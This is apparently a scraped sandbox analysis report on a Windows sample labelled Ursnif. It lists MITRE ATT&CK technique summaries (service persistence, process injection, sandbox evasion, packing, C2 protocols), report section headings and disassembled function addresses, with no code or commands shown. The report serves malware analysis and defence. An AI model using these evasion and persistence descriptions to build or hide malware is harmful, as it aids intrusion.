Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report OojqjHGE0W.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
OojqjHGE0W.exe

Function 00B31E90 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 66
sleeplibraryCOMMON

Function 00B2F410 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 53
librarymemoryloaderCOMMON

Function 00B2CAF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21
libraryloaderCOMMON

Function 00B35AD0 Relevance: 1.5, APIs: 1, Instructions: 7
COMMONLIBRARYCODE

Function 00B31FC0 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Function 00B297E6 Relevance: 1.3, APIs: 1, Instructions: 62
memoryCOMMON

Function 00B2980D Relevance: 1.3, APIs: 1, Instructions: 17
memoryCOMMON

Function 00B29D5E Relevance: 1.3, APIs: 1, Instructions: 9
memoryCOMMON

Function 004015C0 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 140
threadsleepnativeCOMMON

Function 0040188D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Function 004013B7 Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Function 00401B52 Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Function 004012D3 Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Function 00401E5B Relevance: 7.5, APIs: 5, Instructions: 19
memoryCOMMON

Function 00401C24 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 95
memoryCOMMON

Function 0040105A Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Function 00401EA1 Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Function 00401A98 Relevance: 3.1, APIs: 2, Instructions: 60
stringthreadCOMMON